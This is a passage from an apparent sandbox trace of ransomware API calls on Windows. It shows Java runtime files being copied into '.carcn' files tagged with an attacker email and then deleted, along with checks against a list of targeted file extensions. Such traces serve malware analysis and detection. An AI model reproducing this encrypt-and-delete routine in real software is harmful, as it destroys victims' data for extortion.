[0307.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.308] lstrlenW (lpString=".doc") returned 4 [0307.308] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0307.308] lstrlenW (lpString=".docx") returned 5 [0307.309] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0307.309] lstrlenW (lpString=".pdf") returned 4 [0307.309] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0307.309] lstrlenW (lpString=".xls") returned 4 [0307.309] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0307.309] lstrlenW (lpString=".xlsx") returned 5 [0307.309] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0307.309] lstrlenW (lpString=".ppt") returned 4 [0307.309] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0307.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.309] lstrlenW (lpString=".zip") returned 4 [0307.309] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0307.309] lstrlenW (lpString=".rar") returned 4 [0307.309] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0307.309] lstrlenW (lpString=".bz2") returned 4 [0307.309] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0307.309] lstrlenW (lpString=".7z") returned 3 [0307.309] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0307.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.309] lstrlenW (lpString=".dbf") returned 4 [0307.309] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0307.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.309] lstrlenW (lpString=".1cd") returned 4 [0307.309] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0307.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.309] lstrlenW (lpString=".jpg") returned 4 [0307.309] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0307.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.310] lstrlenW (lpString=".doc") returned 4 [0307.310] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0307.310] lstrlenW (lpString=".docx") returned 5 [0307.310] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0307.310] lstrlenW (lpString=".pdf") returned 4 [0307.310] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0307.310] lstrlenW (lpString=".xls") returned 4 [0307.310] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0307.310] lstrlenW (lpString=".xlsx") returned 5 [0307.310] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0307.310] lstrlenW (lpString=".ppt") returned 4 [0307.310] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0307.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.310] lstrlenW (lpString=".zip") returned 4 [0307.310] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0307.310] lstrlenW (lpString=".rar") returned 4 [0307.310] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0307.310] lstrlenW (lpString=".bz2") returned 4 [0307.310] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0307.310] lstrlenW (lpString=".7z") returned 3 [0307.310] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0307.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.310] lstrlenW (lpString=".dbf") returned 4 [0307.310] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0307.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.310] lstrlenW (lpString=".1cd") returned 4 [0307.310] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0307.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0307.310] lstrlenW (lpString=".jpg") returned 4 [0307.311] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0307.311] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0307.311] lstrlenW (lpString="messages_it.properties") returned 22 [0307.311] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0307.311] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3223) returned 1 [0307.311] CloseHandle (hObject=0x388) returned 1 [0307.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0307.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0307.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0307.312] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.312] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0307.313] GetLastError () returned 0x0 [0307.313] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0xc97, lpOverlapped=0x0) returned 1 [0307.314] WriteFile (in: hFile=0x394, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xca0, lpOverlapped=0x0) returned 1 [0307.315] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.315] WriteFile (in: hFile=0x394, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x100, lpOverlapped=0x0) returned 1 [0307.315] SetEndOfFile (hFile=0x394) returned 1 [0307.315] CloseHandle (hObject=0x394) returned 1 [0307.315] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.315] SetEndOfFile (hFile=0x388) returned 1 [0307.316] CloseHandle (hObject=0x388) returned 1 [0307.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.316] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1 [0307.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.317] lstrlenW (lpString=".doc") returned 4 [0307.317] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.317] lstrlenW (lpString=".docx") returned 5 [0307.317] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.317] lstrlenW (lpString=".pdf") returned 4 [0307.317] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.317] lstrlenW (lpString=".xls") returned 4 [0307.317] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.318] lstrlenW (lpString=".xlsx") returned 5 [0307.318] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.318] lstrlenW (lpString=".ppt") returned 4 [0307.318] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.318] lstrlenW (lpString=".zip") returned 4 [0307.318] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.318] lstrlenW (lpString=".rar") returned 4 [0307.318] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.318] lstrlenW (lpString=".bz2") returned 4 [0307.318] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.318] lstrlenW (lpString=".7z") returned 3 [0307.318] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.318] lstrlenW (lpString=".dbf") returned 4 [0307.318] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.318] lstrlenW (lpString=".1cd") returned 4 [0307.318] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.318] lstrlenW (lpString=".jpg") returned 4 [0307.318] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.318] lstrlenW (lpString=".doc") returned 4 [0307.318] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.318] lstrlenW (lpString=".docx") returned 5 [0307.318] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.318] lstrlenW (lpString=".pdf") returned 4 [0307.319] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.319] lstrlenW (lpString=".xls") returned 4 [0307.319] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.319] lstrlenW (lpString=".xlsx") returned 5 [0307.319] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.319] lstrlenW (lpString=".ppt") returned 4 [0307.319] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.319] lstrlenW (lpString=".zip") returned 4 [0307.319] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.319] lstrlenW (lpString=".rar") returned 4 [0307.319] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.319] lstrlenW (lpString=".bz2") returned 4 [0307.319] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.319] lstrlenW (lpString=".7z") returned 3 [0307.319] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.319] lstrlenW (lpString=".dbf") returned 4 [0307.319] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.319] lstrlenW (lpString=".1cd") returned 4 [0307.319] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0307.319] lstrlenW (lpString=".jpg") returned 4 [0307.319] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.319] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0307.320] lstrlenW (lpString="messages_ja.properties") returned 22 [0307.320] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0307.320] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6349) returned 1 [0307.320] CloseHandle (hObject=0x388) returned 1 [0307.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0307.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0307.320] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0307.321] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.321] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.321] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0307.322] GetLastError () returned 0x0 [0307.322] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x18cd, lpOverlapped=0x0) returned 1 [0307.323] WriteFile (in: hFile=0x394, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x18d0, lpOverlapped=0x0) returned 1 [0307.521] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.522] WriteFile (in: hFile=0x394, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x100, lpOverlapped=0x0) returned 1 [0307.522] SetEndOfFile (hFile=0x394) returned 1 [0307.522] CloseHandle (hObject=0x394) returned 1 [0307.522] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.522] SetEndOfFile (hFile=0x388) returned 1 [0307.523] CloseHandle (hObject=0x388) returned 1 [0307.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.523] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1 [0307.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.524] lstrlenW (lpString=".doc") returned 4 [0307.524] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.524] lstrlenW (lpString=".docx") returned 5 [0307.524] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.524] lstrlenW (lpString=".pdf") returned 4 [0307.524] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.524] lstrlenW (lpString=".xls") returned 4 [0307.524] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.524] lstrlenW (lpString=".xlsx") returned 5 [0307.524] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.524] lstrlenW (lpString=".ppt") returned 4 [0307.524] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.524] lstrlenW (lpString=".zip") returned 4 [0307.524] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.525] lstrlenW (lpString=".rar") returned 4 [0307.525] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.525] lstrlenW (lpString=".bz2") returned 4 [0307.525] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.525] lstrlenW (lpString=".7z") returned 3 [0307.525] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.525] lstrlenW (lpString=".dbf") returned 4 [0307.525] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.525] lstrlenW (lpString=".1cd") returned 4 [0307.525] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.525] lstrlenW (lpString=".jpg") returned 4 [0307.525] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.525] lstrlenW (lpString=".doc") returned 4 [0307.525] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.525] lstrlenW (lpString=".docx") returned 5 [0307.525] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.525] lstrlenW (lpString=".pdf") returned 4 [0307.525] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.525] lstrlenW (lpString=".xls") returned 4 [0307.525] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.525] lstrlenW (lpString=".xlsx") returned 5 [0307.525] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.525] lstrlenW (lpString=".ppt") returned 4 [0307.525] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.526] lstrlenW (lpString=".zip") returned 4 [0307.526] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.526] lstrlenW (lpString=".rar") returned 4 [0307.526] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.526] lstrlenW (lpString=".bz2") returned 4 [0307.526] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.526] lstrlenW (lpString=".7z") returned 3 [0307.526] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.526] lstrlenW (lpString=".dbf") returned 4 [0307.526] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.526] lstrlenW (lpString=".1cd") returned 4 [0307.526] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0307.526] lstrlenW (lpString=".jpg") returned 4 [0307.526] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.526] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0307.526] lstrlenW (lpString="dnsns.jar") returned 9 [0307.526] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0307.527] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=8286) returned 1 [0307.527] CloseHandle (hObject=0x388) returned 1 [0307.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0307.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0307.527] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0307.527] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.527] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.527] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0307.528] GetLastError () returned 0x0 [0307.528] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x205e, lpOverlapped=0x0) returned 1 [0307.529] WriteFile (in: hFile=0x394, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x2060, lpOverlapped=0x0) returned 1 [0307.530] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.530] WriteFile (in: hFile=0x394, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xe6, lpOverlapped=0x0) returned 1 [0307.531] SetEndOfFile (hFile=0x394) returned 1 [0307.531] CloseHandle (hObject=0x394) returned 1 [0307.531] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.531] SetEndOfFile (hFile=0x388) returned 1 [0307.532] CloseHandle (hObject=0x388) returned 1 [0307.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.532] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0307.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.533] lstrlenW (lpString=".doc") returned 4 [0307.533] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0307.533] lstrlenW (lpString=".docx") returned 5 [0307.533] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0307.533] lstrlenW (lpString=".pdf") returned 4 [0307.533] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0307.533] lstrlenW (lpString=".xls") returned 4 [0307.533] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0307.533] lstrlenW (lpString=".xlsx") returned 5 [0307.533] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0307.533] lstrlenW (lpString=".ppt") returned 4 [0307.533] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0307.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.533] lstrlenW (lpString=".zip") returned 4 [0307.533] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0307.533] lstrlenW (lpString=".rar") returned 4 [0307.533] lstrcmpiW 